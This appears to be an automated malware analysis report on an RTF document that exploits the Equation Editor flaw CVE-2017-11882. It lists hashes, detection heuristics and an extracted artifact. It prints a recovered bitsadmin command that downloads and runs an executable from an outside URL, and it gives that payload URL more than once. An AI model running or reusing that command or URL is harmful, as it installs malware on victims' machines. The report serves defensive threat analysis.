RTF malware analysis — malicious · 6dbcb7cd632b3442

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2018-03-30

MD5: f3b7c41caccad307d9417123d32b9f94 SHA-1: dc409d1a5318173d97313cb5c3ee24ae450d4b33 SHA-256: 6dbcb7cd632b3442d7ec2b8b00016373d3c6f2f5d9d2e2b34a7e515573a00ae0

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is an RTF document that exploits CVE-2017-11882 via the Equation Editor component. This exploit is designed to download and execute a second-stage payload from the URL https://fiebiger.us/kingtest1.exe. The presence of the Equation Editor CLSID and the specific CVE firing strongly indicate this attack vector.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://fiebiger.us/kingtest1.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000378.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x378	3546 bytes
SHA-256: `2912a82a9507ea8b47f4406b87b1ff91f684dec3348fcd548afc33153bc82f1b`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://fiebiger.us/kingtest1.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download https://fiebiger.us/kingtest1.exe %temp%\Kr.Exe&%temp%\Kr.Exe

Open this report in the interactive analyzer, or submit your own file for analysis.